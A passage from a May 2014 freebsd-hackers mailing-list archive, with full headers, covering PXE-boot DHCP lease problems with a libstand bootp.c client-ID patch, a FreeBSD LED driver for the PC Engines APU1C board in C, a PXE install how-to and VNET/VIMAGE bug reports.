b=GJ7pnsvLnkFGttS811Z7WJurb16jVYHP5k9JxOSQ72Eyl3AtFYDthOOzXOGttnjX1v ncyOy/e4Nn+rzqJ/YtaDPj2UhBB2I3vjWfBOq6s5tVub8+qw5sadKFTh2TNOtKKQYPn2 dVQr4lZZWbAJvHhn4V1TqknvVDBZ9PxoFT9S4C2DyR6oJz7fhJwIZ0XQ8TKU9BCYEmrs jqbM0FncZIrtNW6YwVwCW8FoGXVDlV71Oe0PZa9AwpodufoTmyalXmB2BdXlJl3iONJc 1vsWFLChYYKiypLn1+6hGu/AfDlyJQ9cJRyceG5SCF4Zj3SXelEtzFmuWuLy1m+olB4h g44w== MIME-Version: 1.0 X-Received: by 10.236.0.200 with SMTP id 48mr65793477yhb.72.1399450320867; Wed, 07 May 2014 01:12:00 -0700 (PDT) Received: by 10.170.202.139 with HTTP; Wed, 7 May 2014 01:12:00 -0700 (PDT) In-Reply-To: <20140506154021.GA53537@ambrisko.com> References: <20140506154021.GA53537@ambrisko.com> Date: Wed, 7 May 2014 10:12:00 +0200 Message-ID: Subject: Re: vm+ipxe+pxeboot fail From: amine tay To: Doug Ambrisko Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 08:12:02 -0000 Thanks Doug for you reply, Your answer helped a lot, I will try your patch and let you know if it works. Amine. 2014-05-06 17:40 GMT+02:00 Doug Ambrisko : > On Wed, Apr 30, 2014 at 10:10:07AM +0200, amine tay wrote: > | Hi everyone, > | > | Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually > | I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then > | load and launch the FreeBSD pxeboot > | loader. But I'm getting this : > | http://forums.freebsd.org/viewtopic.php?f=4&t=45901 > | When using isc-dhcp as DHCP server I'm getting the error but when using > | dnsmasq everything works fine. > | > | The problem seems that the client when booting is sending 2 DHCP requests > | and therefore gets two different IP addresses, the first one sent by the > | ROM and the second one by the FreeBSD > | pxebootloader. > | > | I found somewhere in some posts that the pxe.c file is doing a second > | bootprequest because it fails to get cached DHCP data from the ROM. > | > | Any help or more ideas would be appreciated. > > If you do a dump on the packets you can probably see the iPXE is sending > a client ID and the pxeboot isn't. So then ISC DHCP server doesn't like > that and gives a different IP. Then things don't match up anymore. > > This is a patch to fix libstand for iPXE but then seems to break HW PXE. > However, I'm finding with some new eval. HW, PXE is starting to fail on > something else. > > Index: bootp.c > =================================================================== > --- bootp.c (revision 255868) > +++ bootp.c (working copy) > @@ -146,8 +146,12 @@ > if (flag & BOOTP_PXE) { > bp->bp_vend[7] = TAG_CLASSID; > bp->bp_vend[8] = 9; > - bcopy("PXEClient", &bp->bp_vend[9], 9); > - bp->bp_vend[18] = TAG_END; > + bcopy(bp->bp_chaddr, &bp->bp_vend[9], 9); > + bp->bp_vend[18] = TAG_CLIENTID; > + bp->bp_vend[19] = 7; /* type and length */ > + bp->bp_vend[20] = 1; /* MAC */ > + bcopy(d->myea, &bp->bp_vend[21], 6); > + bp->bp_vend[27] = TAG_END; > } else > bp->bp_vend[7] = TAG_END; > #else > @@ -190,7 +194,11 @@ > bp->bp_vend[25] = TAG_CLASSID; > bp->bp_vend[26] = 9; > bcopy("PXEClient", &bp->bp_vend[27], 9); > - bp->bp_vend[36] = TAG_END; > + bp->bp_vend[36] = TAG_CLIENTID; > + bp->bp_vend[37] = 7; /* type and length */ > + bp->bp_vend[38] = 1; /* MAC */ > + bcopy(d->myea, &bp->bp_vend[39], 6); > + bp->bp_vend[45] = TAG_END; > } else > bp->bp_vend[25] = TAG_END; > > > You'll need to rebuild libstand.a, rebuild pxeboot with the new libstand.a. > I haven't figure out how to determine if it needs it or not. I ran into > this when trying to PXE boot in VirtualBox and QEMU. There might be > an option in dhcpd.conf to disable this check for client ID. > > Thanks, > > Doug A. > From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 08:19:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1A5E8FA3 for ; Wed, 7 May 2014 08:19:40 +0000 (UTC) Received: from mail-ie0-x22e.google.com (mail-ie0-x22e.google.com [IPv6:2607:f8b0:4001:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D67936D9 for ; Wed, 7 May 2014 08:19:39 +0000 (UTC) Received: by mail-ie0-f174.google.com with SMTP id ar20so662395iec.19 for ; Wed, 07 May 2014 01:19:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=8FnKE6lqlXkWqtqK6+EO+2s6+gwDTrK0Za2V1/WHOHs=; b=c79lbGTmS9bb9oUdE0Yxydz5nsis9i53dm0p6voS0nMpdczaQ8uybCyIQGqqbHBqhG 46SSo02FrksVOIdRe0knMLOIjKXnDmS5wvAVTk5bVWjK2cS1MFSNlCQIe5hZR5H2dJ05 /B6UQxZvHJbq09OGIDK4fn0lz5DzZje7p9thw8joD5S4BC38nJadtwFs/5QzLV0olI6L q/UazuDOb2jpLgzZiwzG2FeSs316Bj17Ku1htKMS6aZGKuJGYOWaM2ZVJi7IdgXd1VuD xtOyGa89jn4GNkMbdVZw5XMOmqcSLYI1BjmQrysN42F25hkTg4kYTVifTBFjxwAGIGR1 cNTQ== MIME-Version: 1.0 X-Received: by 10.51.15.161 with SMTP id fp1mr40631918igd.25.1399450779175; Wed, 07 May 2014 01:19:39 -0700 (PDT) Sender: ermal.luci@gmail.com Received: by 10.50.159.134 with HTTP; Wed, 7 May 2014 01:19:39 -0700 (PDT) In-Reply-To: <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> References: <20140422020109.GA57760@gta.com> <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> Date: Wed, 7 May 2014 10:19:39 +0200 X-Google-Sender-Auth: 0AD_7Zig1ZhBUaMYyq8E3rqVLjo Message-ID: Subject: Re: apu1c led driver From: =?UTF-8?Q?Ermal_Lu=C3=A7i?= To: Larry Baird Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Freebsd hackers list , Jim Thompson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 08:19:40 -0000 Hello, find attached the driver as written today. It needs some reshaping to be integrate with led(4) and gpio(4). I will see to have the reshaping done and submit it for inclusion. The idea as it is today is that it expses an gpioapu device to which you can write a string with 3 digits "101" for each led. If you read from this device you just get the status of the switch on the APU. On Tue, Apr 22, 2014 at 6:34 AM, Jim Thompson wrote: > > Might want to get Ermal to post the driver he did for us (@ pfSense). > > Or just submit it to the process for -HEAD. > > Jim > > On Apr 21, 2014, at 9:01 PM, Larry Baird wrote: > > > There exists a nice simple linux driver for the leds on a pc engines > apu1c > > board at http://daduke.org/linux/apu/. Converting driver to use led(4) > > and run on FreeBSD seemed straight forward. Or that is until I realized > > I don't know how to alloc and write to a fixed set of I/O ports. I > believe > > the magic happens by using bus_alloc_resource(). Code below attempts to > allow > > control of the second of three leds on the apu1c board. Once I get that > > working, it should be easy to extend driver to support all three leds. > > What is the correct way to allocate and write to a a set of I/O ports at > > address 0xFED801BD? > > > > #include > > #include > > #include > > #include > > #include > > #include > > #include > > > > #define BASEADDR (0xFED801BD) > > #define LEDON (0x8) > > #define LEDOFF (0xC8) > > > > #define GPIO_187 187 // MODESW > > #define GPIO_189 189 // LED1# > > #define GPIO_190 190 // LED2# > > #define GPIO_191 191 // LED3# > > > > struct apuled_softc { > > device_t sc_dev; > > int sc_rid; > > int sc_type; > > int sc_offset; > > struct resource *sc_res; > > void *sc_led1; > > }; > > > > /* > > * Device methods. > > */ > > static int apuled_probe(device_t dev); > > static int apuled_attach(device_t dev); > > static int apuled_detach(device_t dev); > > > > static device_method_t apuled_methods[] = { > > /* Device interface */ > > DEVMETHOD(device_probe, apuled_probe), > > DEVMETHOD(device_attach, apuled_attach), > > DEVMETHOD(device_detach, apuled_detach), > > > > DEVMETHOD_END > > }; > > > > static driver_t apuled_driver = { > > "apuled", > > apuled_methods, > > sizeof(struct apuled_softc), > > }; > > > > static devclass_t apuled_devclass; > > DRIVER_MODULE(apuled, pci, apuled_driver, apuled_devclass, NULL, NULL); > > > > > > static int > > apuled_probe(device_t dev) > > { > > device_set_desc(dev, "APU led"); > > > > return (BUS_PROBE_GENERIC); > > } > > > > static void > > led_func(void *ptr, int onoff) > > { > > struct apuled_softc *sc = (struct apuled_softc *)ptr; > > u_int8_t value; > > > > if ( onoff ) { > > value = LEDON; > > } else { > > value = LEDOFF; > > } > > > > bus_write_1(sc->sc_res, 1, value); > > } > > > > static int > > apuled_attach(device_t dev) > > { > > struct apuled_softc *sc = device_get_softc(dev); > > > > sc->sc_dev = dev; > > sc->sc_rid = 1; > > sc->sc_type = SYS_RES_IOPORT; > > > > if ( (sc->sc_res = bus_alloc_resource( sc->sc_dev, > > sc->sc_type, > > &sc->sc_rid, > > BASEADDR, > > BASEADDR + 4, > > 4, > > RF_ACTIVE)) == NULL ) { > > device_printf( sc->sc_dev, "Unable to allocate bus > resource\n" ); > > return ENXIO; > > > > } else if ( (sc->sc_led1 = led_create(led_func, sc, "led1")) == > NULL ) { > > device_printf( sc->sc_dev, "Unable to create LED 1\n" ); > > return ENXIO; > > > > } else { > > device_printf( sc->sc_dev, "LED 1 created\n" ); > > } > > > > return (0); > > } > > > > int > > apuled_detach(device_t dev) > > { > > struct apuled_softc *sc = device_get_softc(dev); > > > > if ( sc->sc_led1 != NULL ) { > > led_destroy( sc->sc_led1 ); > > } > > > > if ( sc->sc_res != NULL ) { > > bus_release_resource( sc->sc_dev, sc->sc_type, sc->sc_rid, > sc->sc_res ); > > } > > > > return (0); > > } > > > > -- > > ------------------------------------------------------------------------ > > Larry Baird > > Global Technology Associates, Inc. 1992-2012 | http://www.gta.com > > Celebrating Twenty Years of Software Innovation | Orlando, FL > > Email: lab@gta.com | TEL 407-380-0220 > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > -- Ermal From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 10:25:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E078970D; Wed, 7 May 2014 10:25:06 +0000 (UTC) Received: from cu01078a.smtpx.saremail.com (cu01078a.smtpx.saremail.com [195.16.150.53]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 81584653; Wed, 7 May 2014 10:25:05 +0000 (UTC) Received: from [172.16.2.46] (izaro.sarenet.es [192.148.167.11]) by proxypop03.sare.net (Postfix) with ESMTPSA id 488AB9DD37C; Wed, 7 May 2014 12:14:57 +0200 (CEST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! From: Egoitz Aurrekoetxea In-Reply-To: <1a6901cf3a30$7b7b8ed0$7272ac70$@FreeBSD.org> Date: Wed, 7 May 2014 12:14:55 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <1a6901cf3a30$7b7b8ed0$7272ac70$@FreeBSD.org> To: dteske@FreeBSD.org X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, amine tay X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 10:25:07 -0000 Hi!, Take a look, http://postfixquotareject.ramattack.net/freebsdpxehowto.pdf Now by default all is built with BSD installer although you could always = build you=92re own disks with Makefile.sysinstall=85.. Tell us if you have more questions=85 Regards! El 07/03/2014, a las 19:10, dteske@FreeBSD.org escribi=F3: >=20 >=20 >> -----Original Message----- >> From: amine tay [mailto:amine.tay91@gmail.com] >> Sent: Friday, March 7, 2014 2:36 AM >> To: freebsd-hackers@freebsd.org >> Subject: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! >>=20 >> Hi everyone, >=20 > Hello. >=20 >> I'm trying to perform a FreeBSD 9.X network installation using = PXE+TFTP > (not >> NFS) ! >> The problem using NFS is the need to specify the root-path in the = dhcp > conf, >> therefore we can't deploy multiple releases or different images of > freebsd. >>=20 >=20 > You're correct that utilizing the root-path identifier of dhcpd.conf = limits > your > abilities. However, that does not mean that you can't use NFS. >=20 > Before you say anything else, look at these images that I created for = my > setup: > http://druidbsd.sf.net/download/pxe-config.png > http://druidbsd.sf.net/download/FreeBSD_PXE_Install_Workflow_alt.gif >=20 > The later "workflow" image shows a comparison against iPXE based = cobbler > and my latest setup that I created last week: > http://druidbsd.cvs.sf.net/druidbsd/pxe-config/ > http://druidbsd.sf.net/download/tftpboot.txz >=20 >=20 >> So to enable the tftp instead of NFS we have to edit make.conf with = these > lines >> LOADER_TFTP_SUPPORT=3DYES LOADER_NFS_SUPPORT=3DNO and rebuild the >> pxeboot file >>=20 >=20 > Make sure you choose your TFTP server software carefully if you're = going to > go > the route of loading any files >32MB over TFTP. >=20 > To support >32MB single file over TFTP make sure you use tftp-hpa > (ftp/tftp-hpa) > which I have enabled on my server with the following rc.conf entries: >=20 > tftpd_enable=3D"YES" > tftpd_flags=3D"-p4B 1024 -s /tftpboot -a 192.168.1.1" >=20 >=20 >> 1st question is : Is this modification going to allow the install of > differents >> freebsd images? >>=20 >> Note that I'm using an automated os deployement solution , and I am = using >> mac-adresses to deploy freebsd depending on policies, so for exemple = two >> clients with different mac-adresses will have two diffrents freebsd > images. >>=20 >=20 > If you don't add pxelinux to the mix and rely on dhcpd for the = solution of > using the MAC address to change the identifiers handed to the PXE boot > client, that may work but may also limit you. >=20 > pxelinux ( which comes from the sysutils/syslinux port -- of which I > submitted > an update recently, bringing the latest version to 6.02 *fixing* = broken HTTP > based loading of ISO files; = http://www.freshports.org/sysutils/syslinux/ > )... >=20 > ... provides 2 functionalities that help you. First, it can actually = do the > same > thing as your dhcp MAC binding and choose a specialized config to be = loaded > over TFTP based on the MAC address.=20 >=20 > ... and second, but more importantly, it can provide an interactive = menu > with > a list of options. >=20 > However, integrating syslinux's pxelinux, gpxelinux, or lpxelinux = modules > into > the FreeBSD workflow can be challenging. That's why I'm providing the = above- > mentioned "pxe-config" tool to simplify the process of integrating a = menu of > multiple FreeBSD choices. >=20 > The requirements of which are (as shown in the Workflow GIF above): >=20 > DHCP (net/isc-dhcp43-server) > TFTP (either freebsd-tftp or tftp-hpa will do fine; files >32M loaded = over > HTTP) > HTTP (e.g., www/apache22) > SMB *or* NFS (nfs is built-in, for SMB e.g. net/samba36) >=20 > I wanted the system to work from a jail, so hence the SMB support. >=20 > If you have questions, don't hesitate to ask. > --=20 > Cheers, > Devin >=20 > _____________ > The information contained in this message is proprietary and/or = confidential. If you are not the intended recipient, please: (i) delete = the message and all copies; (ii) do not disclose, distribute or use the = message in any manner; and (iii) notify the sender immediately. In = addition, please be aware that any message addressed to our domain is = subject to archiving and review by persons other than the intended = recipient. Thank you. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 06:52:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1ED24F5E for ; Wed, 7 May 2014 06:52:09 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C9EDECF5 for ; Wed, 7 May 2014 06:52:08 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1Whvi1-00010D-4c for freebsd-hackers@freebsd.org; Wed, 07 May 2014 08:52:05 +0200 Received: from tempe0.bbox.io ([24.249.180.233]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 07 May 2014 08:52:05 +0200 Received: from kevin.bowling by tempe0.bbox.io with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 07 May 2014 08:52:05 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Kevin Bowling Subject: Re: Getting VNET/VIMAGE across the finish line Date: Tue, 06 May 2014 23:51:52 -0700 Lines: 33 Message-ID: References: <20140506133027.GA99254@oslo.ath.cx> <20140506140429.GJ3063@pwnie.vrt.sourcefire.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: tempe0.bbox.io User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Thunderbird/29.0 In-Reply-To: <20140506140429.GJ3063@pwnie.vrt.sourcefire.com> X-Mailman-Approved-At: Wed, 07 May 2014 11:36:06 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 06:52:09 -0000 On 5/6/2014 7:04 AM, Shawn Webb wrote: > On May 06, 2014 03:30 PM +0200, Herbert J. Skuhra wrote: >> On Sun, Apr 20, 2014 at 06:56:12PM -0700, Kevin Bowling wrote: >>> Hi, >>> >>> I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help stamp >>> out any remaining issues. >>> >>> I'm aware of two broad problems at the moment: >>> * http://www.freebsd.org/cgi/query-pr.cgi?pr=164763&cat= >>> * pf related things which seem to be getting addressed >>> >>> Is anyone tracking other issues? >> >> I just stumpled upon this problem: >> >> http://lists.freebsd.org/pipermail/freebsd-jail/2013-April/002200.html >> http://lists.freebsd.org/pipermail/freebsd-amd64/2011-October/014050.html > > I submitted this last year: > > http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/184149 > > Doesn't look like anyone has even looked at it. > > Thanks, > > Shawn > I've seen this issue as well and just separated my physical hosts into separate broadcast domains since I only have a few. Your solution seems good to me though. From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 12:53:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A6205F3B for ; Wed, 7 May 2014 12:53:41 +0000 (UTC) Received: from mail-ig0-f181.google.com (mail-ig0-f181.google.com [209.85.213.181]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6A0C538A for ; Wed, 7 May 2014 12:53:41 +0000 (UTC) Received: by mail-ig0-f181.google.com with SMTP id h3so1019992igd.8 for ; Wed, 07 May 2014 05:53:40 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:references:from:content-type:in-reply-to :message-id:date:to:content-transfer-encoding:mime-version; bh=M8jXpvhUwmgb8PwCoWQV0QXd98pqWdy3vFNQdIV9fEE=; b=H/OUGgMxR/oQn0gLi9geSDUaWUdK+RLKz4B3irLRzriWqaMSGiUsIh1S7aK/2pl0Qa YyCVzjO5kKrUbAHcTAu4hAVtucaVu8hC0a1VMyxqyIA5bzYMZBSRy/ThDyYvNwG3SugS nVPOP7fcc+uev3uvHXoTxwtBYNFqg+M/9DAfla8J6oAhG36XmfKWuYyYhYeK9cZt8Jb6 yaAX/o2sxB0XHO6K6fhSu9FDh4LIFR8dtNPx5295Fgi/aLSdk+IZI0zuYK5P5bvqjuL/ L245rC4u3u51DpSY7Ir1ld2lRiTMrZ9LflMyBn7w/KI+l1bRT2ppL7NQDuxfwnTx+DdQ xn/w== X-Gm-Message-State: ALoCoQnFNbzw15x7LuIgawh2bYxkVhZqpnxD0wR6m2HOPeJ380e2MsUquKW6nyxDQWdeT24+Zye4 X-Received: by 10.50.61.235 with SMTP id t11mr42124771igr.44.1399467219905; Wed, 07 May 2014 05:53:39 -0700 (PDT) Received: from [97.10.146.99] (99.sub-97-10-146.myvzw.com. [97.10.146.99]) by mx.google.com with ESMTPSA id jf5sm4194867igb.19.2014.05.07.05.53.29 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 07 May 2014 05:53:38 -0700 (PDT) Subject: Re: vm+ipxe+pxeboot fail References: <61757A61-FE08-4D2E-9381-522ADCE1F17A@longcount.org> From: Mark Saad X-Mailer: iPhone Mail (11D201) In-Reply-To: Message-Id: Date: Wed, 7 May 2014 08:53:02 -0400 To: "freebsd-hackers@freebsd.org" Mime-Version: 1.0 (1.0) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 12:53:41 -0000 > On May 7, 2014, at 3:57 AM, amine tay wrote: >=20 > Thanks Mark for your reply,=20 > I have already tried to comment out the option "one-lease-per-client" and a= lso simplified the if statement but no changes. I guess the probleme as Doug= said the iPXE is sending a client ID and the pxeboot isn't. So then ISC DH= CP server doesn't like > that and gives a different IP. So i guess the solution is to patch bootp.c= for the pxeboot. (I will let you know if it works ) > And you're right I'm trying to pxeboot FreeBSD and use puppet to customize= the machine. >=20 Help me better understand why one would want to do this, over pxe booting to= a nfs rooted FreeBSD environment and running puppet ? I guess I just don't= see the big picture here . > Thanks. > Amine. > =20 >=20 >=20 > 2014-05-06 15:08 GMT+02:00 Mark Saad : >> Sorry for the delay in my reply . >>=20 >>> On Apr 30, 2014, at 9:42 AM, amine tay wrote: >>>=20 >>> Hi Mark thanks for your reply, >>> I have my root-path in dhcpd.conf and etc/exports. >>> my dhcpd.conf :=20 >>>=20 >>> authoritative; >>> subnet 10.28.236.0 netmask 255.255.255.0 { >>>=20 >>> one-lease-per-client on;=20 >>=20 >> Comment out the one lease-per-client option . >>=20 >>> range 10.28.236.10 10.28.236.250; >>>=20 >>> default-lease-time 1200; >>> max-lease-time 43200; >>> dynamic-bootp-lease-length 1200; >>>=20 >>> option ntp-servers 10.28.236.1; >>> option broadcast-address 10.28.236.255; >>> option subnet-mask 255.255.255.0; >>> option domain-name "xxxxxxxxxxxxx"; >>> option domain-search "xxxxxxxxxxxxxxxxxxxxx"; >>> option domain-name-servers 10.28.236.1; >>>=20 >>> allow duplicates; >>> allow unknown-clients; >>> allow booting; >>> allow bootp; >>=20 >>=20 >> Can you simplify this block to just serve the razor.ipxe image to any req= uest ? So remove the fixed address and the if statement .=20 >>=20 >>> host freebsd {hardware ethernet 00:50:56:99:0b:c4; fixed-address 10.28.2= 36.14; option root-path "/opt/razor/image/image/os/7I2RjjQvo7IkbqO4rLv6kJ";}= >>> if exists user-class and option user-class =3D "iPXE" { >>> filename "razor.ipxe"; # we are in an iPXE kernel and load static scri= pt >>> } else { >>> filename "undionly.kpxe"; # we are in burned in PXE and load iPXE kern= el >>> } >>> next-server 10.28.236.1; >>> } >>>=20 >>> And the Freebsd pxeboot loader is launched by razor. >>=20 >>=20 >> I suspect the issue is the allow duplicate and one lease per client optio= ns clashing with pxeloader . Is your goal here to pxe boot FreeBSD then us= e puppet to do a custom layout of the install ?=20 >>>=20 >>>=20 >>> 2014-04-30 15:22 GMT+02:00 Mark Saad : >>>>=20 >>>>=20 >>>> > On Apr 30, 2014, at 4:10 AM, amine tay wrote:= >>>> > >>>> > Hi everyone, >>>> > >>>> > Lately I had some problems, trying to get FreeBSD to PXE boot. (Actua= lly >>>> > I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and t= hen >>>> > load and launch the FreeBSD pxeboot >>>> > loader. But I'm getting this : >>>> > http://forums.freebsd.org/viewtopic.php?f=3D4&t=3D45901 >>>> > When using isc-dhcp as DHCP server I'm getting the error but when usi= ng >>>> > dnsmasq everything works fine. >>>> > >>>> > The problem seems that the client when booting is sending 2 DHCP requ= ests >>>> > and therefore gets two different IP addresses, the first one sent by t= he >>>> > ROM and the second one by the FreeBSD >>>> > pxebootloader. >>>> > >>>> > I found somewhere in some posts that the pxe.c file is doing a second= >>>> > bootprequest because it fails to get cached DHCP data from the ROM. >>>> > >>>> > Any help or more ideas would be appreciated. >>>>=20 >>>> It looked like you either do not have options rootpath set in dhcpd.con= f , etc/exports is mis configured , the nfs server is disabled or if you hav= e loader built with tftp support you do not have a tftp server setup / runni= ng . >>>>=20 >>>> Can you sent the dhcpd.conf the exports file off the server ? >>>>=20 >>>> Mark saad | mark.saad@longcount.org >>>>=20 >>>>=20 >>>> > _______________________________________________ >>>> > freebsd-hackers@freebsd.org mailing list >>>> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd= .org" >>=20 >> Mark saad | mark.saad@longcount.org=20 >=20 Mark saad | mark.saad@longcount.org=20= From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 14:46:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DFD0E800 for ; Wed, 7 May 2014 14:46:33 +0000 (UTC) Received: from mailgate.gta.com (mailgate.gta.com [199.120.225.23]) by mx1.freebsd.org (Postfix) with ESMTP id 55CBE90 for ; Wed, 7 May 2014 14:46:33 +0000 (UTC) Received: (qmail 25323 invoked by uid 1000); 7 May 2014 14:46:31 -0000 Date: Wed, 7 May 2014 10:46:31 -0400 From: Larry Baird To: Ermal Lu??i Subject: Re: apu1c led driver Message-ID: <20140507144631.GA24565@gta.com> References: <20140422020109.GA57760@gta.com> <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> MIME-Version: 1.0 In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Freebsd hackers list , Jim Thompson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 14:46:34 -0000 On Wed, May 07, 2014 at 10:19:39AM +0200, Ermal Lu??i wrote: > Hello, > > find attached the driver as written today. > It needs some reshaping to be integrate with led(4) and gpio(4). > > I will see to have the reshaping done and submit it for inclusion. > The idea as it is today is that it expses an gpioapu device to which you > can write a string with 3 digits "101" for each led. > If you read from this device you just get the status of the switch on the > APU. I was about to submit a version of my own. Instead I will take some code from my verison and add it to yours. I attached a modified version that uses the led(4) framework to create: /dev/led/led1, /dev/led/led2, and /dev/led/led3. I am curious about the gpioapu_close() function. what is it attempting to do? My first thought was it was tring to put the leds back to a know state. But it is writing to the mode switch? Larry -- ------------------------------------------------------------------------ Larry Baird Global Technology Associates, Inc. 1992-2012 | http://www.gta.com Celebrating Twenty Years of Software Innovation | Orlando, FL Email: lab@gta.com | TEL 407-380-0220 From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 14:57:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E67D7C1B for ; Wed, 7 May 2014 14:57:22 +0000 (UTC) Received: from mail-ie0-x22b.google.com (mail-ie0-x22b.google.com 